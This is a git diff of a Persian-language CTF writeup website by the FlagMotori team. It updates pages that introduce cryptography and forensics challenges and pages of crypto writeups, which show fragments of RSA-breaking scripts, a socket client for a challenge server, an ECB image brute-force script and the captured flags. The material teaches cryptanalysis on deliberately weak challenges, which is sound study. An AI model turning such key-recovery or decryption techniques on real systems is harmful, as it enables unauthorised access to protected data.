اگرچه چالش‌های رمزنگاری‌ شاید بخاطر روابط ریاضی پشت آن دشوار بنظر برسد، اما نباید از حل این چالش‌ها دلسرد شد زیرا این چالش‌ها تنها به مباحث ریاضی نمی‌پردازد. در این بخش ما سعی کردیم روی چالش‌های حوزه رمزنگاری CTFها متمرکز شویم و منابع مختلف برای شروع و یادگیری رمزنگاری را معرفی کنیم. همچنین ابزارها و سایت‌های مفیدی که به حل چالش‌های رمزنگاری کمک می‌کنند را معرفی خواهیم کرد. علاوه بر این‌ها، رایتاپ برخی از چالش‌هایی را که در مسابقات مختلف شرکت می‌کنیم را منتشر خواهیم کرد تا افراد علاقه‌مند به پیشرفت در رمزنگاری کمک کند.


\ No newline at end of file +-->

رمزنگاری

رمزنگاری به هنر نوشتن رمزها و کدهای مخفی گفته می‌شود. رمزهای عبور، اطلاعات بانکی، ارسال و دریافت پیام در پیام‌رسان‌ها و هر چیزی که شامل انتقال و ذخیره اطلاعات در دنیای اینترنتی امروز باشد نیاز به رمزنگاری دارد.
همان‌طور که هیچ الگوریتم یا سیستمی کاملا امن نیست، رمزنگاری‌های موجود (متقارن، نامتقارن، امضای دیجیتال) نیز ممکن است دارای نقص‌هایی باشند. هدف چالش‌های رمزنگاری در مسابقه‌های CTF ایجاد آشنایی با این نقص‌ها و بالا بردن دانش افراد در زمینه مفاهیم پایه‌ای رمزنگاری یعنی مباحث ریاضی آن‌ها است. این چالش‌ها شامل شکستن الگوریتم رمزنگاری، رمزگشایی متون رمزی یا دور زدن الگوریتم‌های رمزنگاری در سامانه‌ها و پروتکل‌های مختلف است که به درستی پیاده نشده‌اند. با این حال، بسیاری از این چالش‌ها تنها به استفاده نادرست از الگوریتم‌های رمزنگاری می‌پردازند که نیاز به دانش عمیقی از روابط ریاضی آنها ندارد.

crypto.png

انواع چالش رمزنگاری در CTF

الگوریتم‌ها و طرح‌های رمزنگاری دارای انواع مختلفی هستند. ما در این جا فارغ از نوع و کاربرد آن‌ها، تنها چالش‌های رمزنگاری در مسابقات CTF را به دو دسته کلی تقسیم می‌کنیم:

۱- مبتنی بر مفاهیم ریاضی

این چالش‌ها صرفا به مفاهیم پایه‌ای ریاضی متمرکز هستند و نیاز به حل یک مسئله ریاضی برای آن چالش رمزنگاری دارند. برای بدست آوردن پرچم در این نوع چالش‌ها، شما نیاز به داشتن دانش کافی در مباحث ریاضیات رمزنگاری مانند محاسبات پیمانه‌ای، لگاریتم‌های گسسته، معادلات چندجمله‌ای، منحنی‌های بیضوی و ریاضیات مشبکه (Lattice) دارید.

۲- مبتنی بر خطای پیاده‌سازی

برخی اوقات نفوذها و شکستن رمزنگاری‌های موجود در یک سامانه به دلیل نقص در خود الگوریتم رمزنگاری نیست بلکه عدم تجربه کافی در بکارگیری درست این الگوریتم‌ها، سبب ایجاد آسیب‌پذیری در یک سامانه مبتنی بر رمزنگاری می‌شود. بنابراین در این نوع چالش‌ها، نیاز به دانش عمیق در مورد آن رمزنگاری نیست و تنها کافی است که نقص پیاده سازی را کشف و از آن برای دور زدن رمزنگاری استفاده کنیم.

اگرچه چالش‌های رمزنگاری‌ شاید بخاطر روابط ریاضی پشت آن دشوار بنظر برسد، اما نباید از حل این چالش‌ها دلسرد شد زیرا این چالش‌ها تنها به مباحث ریاضی نمی‌پردازد. در این بخش ما سعی کردیم روی چالش‌های حوزه رمزنگاری CTFها متمرکز شویم و منابع مختلف برای شروع و یادگیری رمزنگاری را معرفی کنیم. همچنین ابزارها و سایت‌های مفیدی که به حل چالش‌های رمزنگاری کمک می‌کنند را معرفی خواهیم کرد. علاوه بر این‌ها، رایتاپ برخی از چالش‌هایی را که در مسابقات مختلف شرکت می‌کنیم را منتشر خواهیم کرد تا افراد علاقه‌مند به پیشرفت در رمزنگاری کمک کند.


\ No newline at end of file diff --git a/crypto/source/index.html b/crypto/source/index.html index de56bab0..cf721188 100644 --- a/crypto/source/index.html +++ b/crypto/source/index.html @@ -1,4 +1,4 @@ - منابع یادگیری رمزنگاری - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

منابع یادگیری رمزنگاری

راستش تا دلتون بخواد ما کتاب و ویدئو آموزشی داریم که فقط با یک جستجو ساده توی اینترنت میتونید پیدا کنید. ولی خب یکسری منابع هستن که خیلی معروف و خودمون استفاده کردیم و گفتیم چقدر خوب میشه با شما به اشتراک بزاریم :)

پلتفرم یادگیری و حل چالشها

ویدئو های آموزشی


معرفی کتاب

  • Cryptography and Network Security by Behrouz Forouzan

    Cryptography-And-Network-Security_Forouzan این کتاب از یک رویکرد قدم به قدم برای آموزش رمزنگاری و امنیت شبکه استفاده می کند. شما در ابتدای کار به هیچ دانش ریاضی خاصی مانند نظریه اعداد یا ... نیاز ندارید چرا که در طول مطالعه کتاب اون رو بدست میارید، از آنجایی که رمزنگاری و امنیت شبکه را نمی توان بدون پیشینه در زمینه ریاضیات مورد بحث قرار داد، این موضوعات در فصل های 2، 4 و 9 مورد بحث قرار می گیرند. خوانندگانی که با این حوزه های ریاضیات آشنا هستند می توانند این فصل ها را نادیده بگیرند. فصل 1 تا 15 رمزنگاری را مورد بحث قرار می دهد. در ضمن فصل های 16 تا 18 امنیت شبکه مورد بحث قرار می گیرد.


  • An Introduction to Mathematical Cryptography by Jeffrey Hoffstein

    Introduction-to-Mathematical-Cryptography_Hoffstein این کتاب عمدتاً بر روی سیستم‌های رمزنگاری کلید عمومی و امضای دیجیتال و همچنین ریاضیات آنها تمرکز می‌کند. خواننده ای که بر مطالب این کتاب تسلط داشته باشد، نه تنها برای مطالعه بیشتر در رمزنگاری به خوبی آماده می شود، بلکه به درک واقعی اصول ریاضی اساسی که رمزنگاری مدرن بر آن استوار است، دست خواهد یافت.


\ No newline at end of file +-->

منابع یادگیری رمزنگاری

راستش تا دلتون بخواد ما کتاب و ویدئو آموزشی داریم که فقط با یک جستجو ساده توی اینترنت میتونید پیدا کنید. ولی خب یکسری منابع هستن که خیلی معروف و خودمون استفاده کردیم و گفتیم چقدر خوب میشه با شما به اشتراک بزاریم :)

پلتفرم یادگیری و حل چالشها

ویدئو های آموزشی


معرفی کتاب



\ No newline at end of file diff --git a/crypto/writeups/0xL4ughCTF/RSA-GCD/index.html b/crypto/writeups/0xL4ughCTF/RSA-GCD/index.html index 751861dc..6856bb79 100644 --- a/crypto/writeups/0xL4ughCTF/RSA-GCD/index.html +++ b/crypto/writeups/0xL4ughCTF/RSA-GCD/index.html @@ -1,4 +1,4 @@ - RSA-GCD - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش RSA-GCD

RSA-GCD

صورت سوال

یک اسکرپیت پایتون به همراه یک فایل متنی به عنوان خروجی داده شده:

chall1.py
 1
@@ -159,4 +159,4 @@
 phi = (p - 1)*(q - 1)
 d = inverse(e, n)
 print(long_to_bytes(pow(c, d, n)))
-

FLAG 🚩

0xL4ugh{you_know_how_factor_N!}

نویسنده

MohamadAli

\ No newline at end of file +

FLAG 🚩

0xL4ugh{you_know_how_factor_N!}

نویسنده

MohamadAli

\ No newline at end of file diff --git a/crypto/writeups/BSidesSF/truthescrow1/index.html b/crypto/writeups/BSidesSF/truthescrow1/index.html index b32dceea..fad2526b 100644 --- a/crypto/writeups/BSidesSF/truthescrow1/index.html +++ b/crypto/writeups/BSidesSF/truthescrow1/index.html @@ -1,4 +1,4 @@ - truthescrow-1 - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش truthescrow-1

truthescrow1

آشنایی اولیه با خواسته مساله

خب با دستور زیر از طریق netcat به سرور سوال وصل میشیم

ncat --proxy-type socks5 --proxy 127.0.0.1:2080 truthescrow-1fd51bd8.challenges.bsidessf.net 1984
@@ -156,4 +156,4 @@
 k = 101047600963885791387700255279083702888
 signature = pow(k, d, n)
 print(f'{signature}')
-

FLAG 🚩

CTF{we_are_the_oprah_of_private_key_bits}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

CTF{we_are_the_oprah_of_private_key_bits}

نویسنده

mheidari98

\ No newline at end of file diff --git a/crypto/writeups/BSidesSF/truthescrow2/index.html b/crypto/writeups/BSidesSF/truthescrow2/index.html index d840ace6..3e3378db 100644 --- a/crypto/writeups/BSidesSF/truthescrow2/index.html +++ b/crypto/writeups/BSidesSF/truthescrow2/index.html @@ -1,4 +1,4 @@ - truthescrow-2 - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش truthescrow-2

truthescrow2

آشنایی اولیه با خواسته مساله

در ادامه چالش قبلی، اینبار باید truth فرد Nadia را بخونیم.
براساس خروجی help types و listkeys در پارت دوم سوال، به ما n و e به همراه نصف بیت های کم ارزش d داده شده است و باید بتوانیم d کامل را بدست بیاوریم.

راه حل

با اندکی سرچ به این ریپو گیت هاب رسیدم
برای استفاده از ابزار ابتدا فایل به آدرس زیر را باز کنید

attacks/rsa/partial_key_exposure.py
@@ -54,4 +54,4 @@
 p_ = 135910664629928214982882802610812446223246942959119370715736186055734275683591232700237383770019000628786324922720286581455880901684249073202371978652383340260722984522202935328798589197300372600240925502733900876553287019527495229592943493322053755848030380760246614012062400218594889494929908613811634043557
 q_ = 179715934285566366979761174730521685494085840836841514810594725362065959057689486042102979782441969862729151818439593494992034948393051332904613055534437043486894053801587425382559373679124097689993197938679159734722173952736332370889269689473463709996937739163800728716211361515169500844964535234606065001601
 d_ = 23964288361013640476094822164847162632875998342130294892366450689547010575893047965414578820035905154669339806925765459916031658314480084559148571717004939501582718670344208391351899159630294958475472016763076636356405365292267018333906036640906157978048159310091800041776026331453168320232771068604558034921235209490659541126328683833363895246483320539934934853435235071839002168598584116057968941320338064169286071451736499832016207523779221343422851261744824345624761173336307556639698314443936432242816865234219421958556439970565806590965132224299652404650193202242039016916497317418038387032178147582396775913473
-

FLAG 🚩

CTF{half_a_d_is_too_much_d}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

CTF{half_a_d_is_too_much_d}

نویسنده

mheidari98

\ No newline at end of file diff --git a/crypto/writeups/BYUCTF/AreSA/index.html b/crypto/writeups/BYUCTF/AreSA/index.html index 18ce25ff..f2f278fb 100644 --- a/crypto/writeups/BYUCTF/AreSA/index.html +++ b/crypto/writeups/BYUCTF/AreSA/index.html @@ -1,4 +1,4 @@ - AreSA - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش AreSA

AreSA

صورت سوال

فایلی که بهمون دادن رو بررسی میکنیم و با توجه به نام متغیرها پی میبریم که از رمزگذاری RSA استفاده شده است.

یه فایل متنی بهمون دادن که محتواش اینه:

cne.txt
1
@@ -25,4 +25,4 @@
 phi = n-1
 d=inverse(e, phi)
 long_to_bytes(pow(c, d, n))
-

FLAG 🚩

byuctf{d1d_s0m3_rs4_stuff...m1ght_d3l3t3_l4t3r}

نویسنده

MohamadAli

\ No newline at end of file +

FLAG 🚩

byuctf{d1d_s0m3_rs4_stuff...m1ght_d3l3t3_l4t3r}

نویسنده

MohamadAli

\ No newline at end of file diff --git a/crypto/writeups/BYUCTF/Austen-Supremacy/index.html b/crypto/writeups/BYUCTF/Austen-Supremacy/index.html index b2b8a853..1fef3bf4 100644 --- a/crypto/writeups/BYUCTF/Austen-Supremacy/index.html +++ b/crypto/writeups/BYUCTF/Austen-Supremacy/index.html @@ -1,6 +1,6 @@ - Austen-Supremacy - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Austen Supremacy

Austen-Supremacy

صورت سوال

لیدیا جین آستن را دوست دارد. در واقع کتاب مورد علاقه او Pride and Prejudice است. او و دوستانش دوست دارند درباره کتاب با هم صحبت کنند، اما اخیرا لیدیا شروع به رمزگذاری پیام های خود کرده است. متأسفانه دوستان لیدیا کد مخفی او را درک نمی کنند --  می توانید به آنها کمک کنید و پیام مخفی را شناسایی کنید؟

1.1.1 8.9.8 10.2.11 4.14.28 61.2.4 47.10.3 23.7.37 41.12.4 17.6.10 1.1.21
 

حل

با توجه به فرمت پیامی که لیدا ارسال کرده حدس زدیم که ممکنه ربطی به این کتاب کرده باشه بنابراین رفتیم و کتاب رو دانلود کردیم و حس زدیم که الگوی پیامی که لیدا ارسال کرده به صورت زیر است:

Chapter.Paragraph.Character
-
خوشبختانه حدسمون درست بود و فلگ رو بدست اوردیم.


FLAG 🚩

byuctf{ilovedarcy}

نویسنده

MohamadAli, HIGHer

\ No newline at end of file +
خوشبختانه حدسمون درست بود و فلگ رو بدست اوردیم.


FLAG 🚩

byuctf{ilovedarcy}

نویسنده

MohamadAli, HIGHer

\ No newline at end of file diff --git a/crypto/writeups/BYUCTF/Times/index.html b/crypto/writeups/BYUCTF/Times/index.html index 916bceb5..80530552 100644 --- a/crypto/writeups/BYUCTF/Times/index.html +++ b/crypto/writeups/BYUCTF/Times/index.html @@ -1,4 +1,4 @@ - Times - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Times

Times

صورت سوال

میگه این فقط یک ضرب است....درسته؟

یه فایل متنی و یک اسکریپت پایتون رو بهمون دادن

times.txt

Curve:  y^2 = x**3 + 13x + 245 % 335135809459196851603485825030548860907
@@ -168,4 +168,4 @@
 
 
 decrypt_flag(shared_secret, ciphertext_dict)
-

FLAG 🚩

byuctf{mult1pl1c4t10n_just_g0t_s0_much_m0r3_c0mpl1c4t3d}

نویسنده

MohamadAli

\ No newline at end of file +

FLAG 🚩

byuctf{mult1pl1c4t10n_just_g0t_s0_much_m0r3_c0mpl1c4t3d}

نویسنده

MohamadAli

\ No newline at end of file diff --git a/crypto/writeups/CakeCTF/simple-signature/index.html b/crypto/writeups/CakeCTF/simple-signature/index.html index 5f38460f..a56211a3 100644 --- a/crypto/writeups/CakeCTF/simple-signature/index.html +++ b/crypto/writeups/CakeCTF/simple-signature/index.html @@ -1,4 +1,4 @@ - simple signature - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Simple signature

این چالش در ابتدا چالش ساده‌ای به نظر می‌رسید و همون‌طور که توی تصویر زیر هم می‌بینید تعداد حل بالایی داشت. اما کم دقتی و توجه نکردن به یک سری نکات ریز باعث شد نتونم این چالش سریع حل کنم.

simple-signature.png

خب بریم سراغ چالش، همان‌طور که در تصویر بالا دیده میشه این یک چالش امضای دیجیتال است که یک آدرس و پورت همراه با کد سمت سرور داریم. به محض اتصال به سرور، مقادیر p ،g و زوج مرتب vkey که در واقع کلید عمومی است رو به ما میده و از ما میخواد که انتخاب کنیم که می خواهیم متنی رو امضا کنیم یا می‌خواهیم یک امضا رو تصدیق کنیم. با انتخاب گزینه امضا (S)، از ما درخواست متنی که قرار امضا بشه رو می کنه و به عنوان خروجی یک زوج مرتب (s,t) به ما میده که این زوج مرتب همان امضای متن است. اگر گزینه تصدیق (V) را انتخاب کنیم ابتدا متن پیام و سپس زوج مرتب (s,t) رو درخواست میکنه که در صورت مطابقت امضا با متن، پیغام verified رو مانند زیر برای چاپ می‌کنه.

nc crypto.2023.cakectf.com 10444
@@ -235,4 +235,4 @@
 r.sendline(bytes(str(s[1]), 'utf-8'))
 print(r.recvline())
 print(r.recvline())
-

به نظر من این چالش در حد نزدیک به متوسط بود و واقعا یک چالش ساده یا دست گرمی حداقل برای من نبود. امیدوارم که روش حل این چالش رو واضح توضیح داده باشم.


FLAG 🚩

CakeCTF{does_yoshiking_eat_cake_or_cat?}

نویسنده

HIGHer

\ No newline at end of file +

به نظر من این چالش در حد نزدیک به متوسط بود و واقعا یک چالش ساده یا دست گرمی حداقل برای من نبود. امیدوارم که روش حل این چالش رو واضح توضیح داده باشم.


FLAG 🚩

CakeCTF{does_yoshiking_eat_cake_or_cat?}

نویسنده

HIGHer

\ No newline at end of file diff --git "a/crypto/writeups/Cybercoliseum \342\205\242/Hills/index.html" "b/crypto/writeups/Cybercoliseum \342\205\242/Hills/index.html" index c5155bb9..ca9949ba 100644 --- "a/crypto/writeups/Cybercoliseum \342\205\242/Hills/index.html" +++ "b/crypto/writeups/Cybercoliseum \342\205\242/Hills/index.html" @@ -1,4 +1,4 @@ - Hills - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Hills

در این سوال به ما فایل task.txt داده شده است.

task.txt
 1
@@ -108,4 +108,4 @@
 ])
 
 HillCipher(alphabet, arr).encrypt('FLAG_MOTORI')
-

کافیست با استفاده از سایت زیر رمزگشایی کنیم و فلگ را بدست بیاوردیم.

https://www.dcode.fr/hill-cipher


FLAG 🚩

CODEBY{BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS}

نویسنده

mheidari98

\ No newline at end of file +

کافیست با استفاده از سایت زیر رمزگشایی کنیم و فلگ را بدست بیاوردیم.

https://www.dcode.fr/hill-cipher


FLAG 🚩

CODEBY{BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS}

نویسنده

mheidari98

\ No newline at end of file diff --git "a/crypto/writeups/Cybercoliseum \342\205\242/Watchmaker/index.html" "b/crypto/writeups/Cybercoliseum \342\205\242/Watchmaker/index.html" index 1222ded8..fb1f5a5e 100644 --- "a/crypto/writeups/Cybercoliseum \342\205\242/Watchmaker/index.html" +++ "b/crypto/writeups/Cybercoliseum \342\205\242/Watchmaker/index.html" @@ -1,4 +1,4 @@ - Watchmaker - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

چالش Watchmaker

خب تو این سوال فایلی با محتویات زیر به ما داده شده است

🕔 🕖 🕕 🕖 🕔 🕗 🕔 🕘 🕔 🕕 🕖 🕔 🕙 🕒 🕓 🕐 🕘 🕗 🕘 🕖 🕖 🕚 🕘 🕗 🕓 🕐 🕘 🕐 🕓 🕒 🕖 🕚 🕘 🕗 🕒 🕓 🕖 🕚 🕗 🕗 🕓 🕓 🕗 🕒 🕗 🕚 🕙 🕔
@@ -36,4 +36,4 @@
 }
 z = [*map(lambda x: d[int(x[2:])%100], s[:-1].split('; '))]
 ''.join(chr(z[i*2]*12 + z[i*2+1]) for i in range(len(z)//2))
-

FLAG 🚩

CODEBY{1ts_t1m3_t(_h4ck}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

CODEBY{1ts_t1m3_t(_h4ck}

نویسنده

mheidari98

\ No newline at end of file diff --git a/crypto/writeups/SDCTF/ComplexProblem/index.html b/crypto/writeups/SDCTF/ComplexProblem/index.html index 044e76f5..fecb0c28 100644 --- a/crypto/writeups/SDCTF/ComplexProblem/index.html +++ b/crypto/writeups/SDCTF/ComplexProblem/index.html @@ -1,4 +1,4 @@ - ComplexProblem - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

چالش ComplexProblem

ComplexProblem

صورت سوال

خب در صورت سوال گفته:‌ از رمزنگاری RSA استفاده شده و این بار باید با اعداد مختلط سر و کله بزنیم...

یه فایل متنی بهمون دادن که محتواش اینه:

فایل متنی out.txt

N = 47314254765672217716326132674
@@ -160,4 +160,4 @@
 long_to_bytes(int(Flag.real)) + long_to_bytes(int(Flag.imag))
 

بعد از اینکه نرم N رو بررسی کردیم میبینیم که اول نیست بنابراین با Factordb.com‍‍‍ یا SageMath کار رو پیش میبریم و بنابراین میتونیم دو عدد اول p و q رو پیدا کنیم که حاصل ضربشون بشه برابر N.
حالا داریم:

Phi = (p-1) * (q-1)

بعد میایم اون پیام رمز شده به صورت عدد مختلط و N رو به در قالب گوسی گویا درنظر گرفته و در نهایت d رو محاسبه کرده و فلگ رو میکشیم بیرون به همین راحتی!

 


FLAG 🚩

sdctf{g3t_r341_0bcef3a}

نویسنده

MohamadAli

\ No newline at end of file +

بعد میایم اون پیام رمز شده به صورت عدد مختلط و N رو به در قالب گوسی گویا درنظر گرفته و در نهایت d رو محاسبه کرده و فلگ رو میکشیم بیرون به همین راحتی!

 


FLAG 🚩

sdctf{g3t_r341_0bcef3a}

نویسنده

MohamadAli

\ No newline at end of file diff --git a/crypto/writeups/SnappCTF/Blex/index.html b/crypto/writeups/SnappCTF/Blex/index.html index 41e72ffa..f52a0959 100644 --- a/crypto/writeups/SnappCTF/Blex/index.html +++ b/crypto/writeups/SnappCTF/Blex/index.html @@ -1,4 +1,4 @@ - Blex - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Blex

1.png

برای این چالش کد زیر و آدرس سرور بالا به ما داده شده:

server.py
 1
@@ -134,4 +134,4 @@
 phi=(p-1)*(q-1)
 d=pow(e,-1,phi)
 print(long_to_bytes(pow(c,d,n)))
-

FLAG 🚩

SNAPP{b3Y0nd_4Ny_FoRM_1n_8lEx!?}

نویسنده

HIGHer

\ No newline at end of file +

FLAG 🚩

SNAPP{b3Y0nd_4Ny_FoRM_1n_8lEx!?}

نویسنده

HIGHer

\ No newline at end of file diff --git a/crypto/writeups/SnappCTF/Bombastic/index.html b/crypto/writeups/SnappCTF/Bombastic/index.html index 4db63b7c..da71a178 100644 --- a/crypto/writeups/SnappCTF/Bombastic/index.html +++ b/crypto/writeups/SnappCTF/Bombastic/index.html @@ -1,4 +1,4 @@ - Bombastic - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Bombastic

Bombastic

نگاه اولیه به سوال

در این سوال از رمزنگاری RSA برای رمزگذاری فلگ استفاده شده و ما باید به طریقی بتونیم متن رمزشده رو رمزگشایی کنیم و به فلگ برسیم.

بیایم نگاهی به توابع اسکریپت پایتون سوال بندازیم

تابع check:

این تابع یک عدد ورودی میگیره و براساس یکسری فعل و انفعالات از عدد ورودی، یک لیست از اعداد اول (درصورت امکان) برمیگردونه

def check(n):
@@ -48,4 +48,4 @@
 phi=(p-1)*(q-1)
 d=pow(e,-1,phi)
 print(long_to_bytes(pow(enc,d,n)))
-

FLAG 🚩

SNAPP{B0m84S7!C_Pr1m3_9EneR4T!0N!!!}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

SNAPP{B0m84S7!C_Pr1m3_9EneR4T!0N!!!}

نویسنده

mheidari98

\ No newline at end of file diff --git a/crypto/writeups/SnappCTF/Cryptos/index.html b/crypto/writeups/SnappCTF/Cryptos/index.html index 9eef9f21..d299b2e7 100644 --- a/crypto/writeups/SnappCTF/Cryptos/index.html +++ b/crypto/writeups/SnappCTF/Cryptos/index.html @@ -1,4 +1,4 @@ - Cryptos - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Cryptos

1.jpg

در این سوال کد زیر همراه با یک فایل حاوی متن کد شده c داده شده:

cryptos.py
 1
@@ -86,4 +86,4 @@
     if n%i==0 :
         if (msg:=long_to_bytes(n//i)).startswith(b'SNAPP'):
             print(msg)
-

FLAG 🚩

SNAPP{acCUr4cY4nd_pr3cI5iOn!n_Pyth0n!}

نویسندگان

HIGHer ،mheidari98

\ No newline at end of file +

FLAG 🚩

SNAPP{acCUr4cY4nd_pr3cI5iOn!n_Pyth0n!}

نویسندگان

HIGHer ،mheidari98

\ No newline at end of file diff --git a/crypto/writeups/SnappCTF/mascot/index.html b/crypto/writeups/SnappCTF/mascot/index.html index e6907745..d2c7b27a 100644 --- a/crypto/writeups/SnappCTF/mascot/index.html +++ b/crypto/writeups/SnappCTF/mascot/index.html @@ -1,4 +1,4 @@ - Mascot - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

Mascot

تو این چلنج یه فایل بش داریم که به ما میفهمونه انکریپشن استفاده شده تایپ ECB هست و این تایپ از انکریپشن AES یه باگ (که البته فیچر هم هست 😂) که باید از این باگ سوء استفاده کنیم تا بتونیم فلگ رو بخونیم

معروف ترین عکس در رابطه با این باگ این عکسه

[PeNgUiN!]

فرمت ppm به صورتی هست که 3 خط اول به عنوان هدر تعریف میشن ما با خط دوم کار داریم که رزولوشن هست 😈

یه اسکریپت پایتون مینویسیم که بیاد رزولوشن رو بروت فورس کنیم

تو یه رایتاپ دیگه تو همین بلاگ اشاره کردم که:

پیکسل های تصاویر از چپ به راست تکمیل میشن و ارتفاع تاثیری در پیکسل ها و ترتیبشون نداره

پس ما فقط پارامتر x رو تغییر بدیم =)))

اسکریپت بدین صورت است

 1
@@ -20,4 +20,4 @@
 for x in range(1000):
     with open("res/{}x{}.png".format(x,y), 'wb') as f:
         f.write(base.format(x,y).encode() + b)
-

بعد از اجرای اسکریپت، فلگ در رزولوشن 740x100.png مشاهده میشود

Mascot

نویسنده

SafaSafari

\ No newline at end of file +

بعد از اجرای اسکریپت، فلگ در رزولوشن 740x100.png مشاهده میشود

Mascot

نویسنده

SafaSafari

\ No newline at end of file diff --git a/crypto/writeups/TCP1PCTF/Final_Consensus/index.html b/crypto/writeups/TCP1PCTF/Final_Consensus/index.html index d63e9a7b..34be15c2 100644 --- a/crypto/writeups/TCP1PCTF/Final_Consensus/index.html +++ b/crypto/writeups/TCP1PCTF/Final_Consensus/index.html @@ -1,4 +1,4 @@ - Final Consensus - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Final_Consensus

Final Consensus.png

در این چالش بعد از وصل شدن به سرور یک رشته hex که احتمالا فلگ رمز شده است را به ما نمایش می دهد و سپس از اما درخواست وارد کردن یک رشته پیام را می کند که بعد از ارسال، در جواب معادل رمزشده آن را به صورت hex مانند زیر برمی گرداند.

>nc ctf.tcp1p.com 35257
@@ -121,4 +121,4 @@
         ct = cipher.decrypt(FLAG)
         cipher = AES.new(ct_a[mid], mode=AES.MODE_ECB)
         print(unpad(cipher.decrypt(ct), 16).decode())
-
FLAG 🚩

TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}


نویسندگان

HIGHer ،N1k4

\ No newline at end of file +
FLAG 🚩

TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}


نویسندگان

HIGHer ،N1k4

\ No newline at end of file diff --git a/crypto/writeups/vSCTF/Redundancy/index.html b/crypto/writeups/vSCTF/Redundancy/index.html index 27ec9630..289ed41f 100644 --- a/crypto/writeups/vSCTF/Redundancy/index.html +++ b/crypto/writeups/vSCTF/Redundancy/index.html @@ -1,4 +1,4 @@ - Redundancy - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Redundancy

challenge description

در این چالش کد پایتون زیر همراه با فایل حاوی مقادیر رمزشده c1 ،c2 و پیمانه n داده شده بود.

server.py
 1
@@ -81,4 +81,4 @@
 f = (m1+m2)^5-m5
 flag = f.small_roots()[0]
 print(long_to_bytes(int(flag)))
-

FLAG 🚩

vsctf{WE<3COPPERSMITH}

نویسنده

HIGHer

\ No newline at end of file +

FLAG 🚩

vsctf{WE<3COPPERSMITH}

نویسنده

HIGHer

\ No newline at end of file diff --git a/forensic/index.html b/forensic/index.html index b9f8d0d6..b1dab39a 100644 --- a/forensic/index.html +++ b/forensic/index.html @@ -1,4 +1,4 @@ - جرم‌شناسی - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

جرم‌شناسی

تا حالا با خودتون فکر کردین وقتی یه سازمانی هک میشه، چجوری میفهمن از کجا خوردن؟

ما وارد عمل میشیم 😎

بصورت کلی علم جرم شناسی به این عمل میپردازه که یک جرم چجوری اتفاق افتاده

شرلوک حوزه امنیت سایبری ماییم =))

تو این دسته از چالش ها اکثرا یه فایلی در اختیار ما قرار میدن و ما باید با توجه به دانشی که از قبل کسب کردیم، در میان انبوهی از دیتا به فلگ مورد نظر طراح برسیم

تو این علم دانش فایل سیستم به وفور نیاز میشه و دانش کلی فایل ها از قبیل این که هر فایل چه فرمتی داره و فایل ها به چه صورت خونده یا نوشته میشن و تریک های آسیب پذیری در اونها به چه صورت هست

\ No newline at end of file +-->

جرم‌شناسی

تا حالا با خودتون فکر کردین وقتی یه سازمانی هک میشه، چجوری میفهمن از کجا خوردن؟

ما وارد عمل میشیم 😎

بصورت کلی علم جرم شناسی به این عمل میپردازه که یک جرم چجوری اتفاق افتاده

شرلوک حوزه امنیت سایبری ماییم =))

تو این دسته از چالش ها اکثرا یه فایلی در اختیار ما قرار میدن و ما باید با توجه به دانشی که از قبل کسب کردیم، در میان انبوهی از دیتا به فلگ مورد نظر طراح برسیم

تو این علم دانش فایل سیستم به وفور نیاز میشه و دانش کلی فایل ها از قبیل این که هر فایل چه فرمتی داره و فایل ها به چه صورت خونده یا نوشته میشن و تریک های آسیب پذیری در اونها به چه صورت هست

\ No newline at end of file diff --git a/forensic/writeups/BSidesSF/doctor/index.html b/forensic/writeups/BSidesSF/doctor/index.html index 0b8c9164..5975d81f 100644 --- a/forensic/writeups/BSidesSF/doctor/index.html +++ b/forensic/writeups/BSidesSF/doctor/index.html @@ -1,4 +1,4 @@ - Doctor - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Doctor

تو این چلنج به ما یه فایل docx دادن که یه سری عکس رو نشون میده

در قدم اول مواجهه با فایل ورد، باید بازش کنیم و اگه فلگی توش نبود، در وهله دوم با zip viewer بازش کنیم

تو محتویات متنی این فایل هم فلگی نبود و پس با zip viewer بازش میکنیم =)))

doctor-1

یکم که تو فولدر ها بگردیم و یه سری چیزا مثل وجود داشتن یا نداشتن macro مطمئن بشیم، چشممون میخوره به عکس هایی که تو فایل ورود گنجونده شدن

اما wait, what?

doctor-2

چرا ۵ تا عکسه؟ مگه تو فایل ورد ۴ تا نبود؟

یه عکس اضافیه

که اونم image-0.png هست فلگ توشه

doctor-3


FLAG 🚩

CTF{st0ck_cut3_p1c5}

نویسنده

SafaSafari

\ No newline at end of file +-->

Doctor

تو این چلنج به ما یه فایل docx دادن که یه سری عکس رو نشون میده

در قدم اول مواجهه با فایل ورد، باید بازش کنیم و اگه فلگی توش نبود، در وهله دوم با zip viewer بازش کنیم

تو محتویات متنی این فایل هم فلگی نبود و پس با zip viewer بازش میکنیم =)))

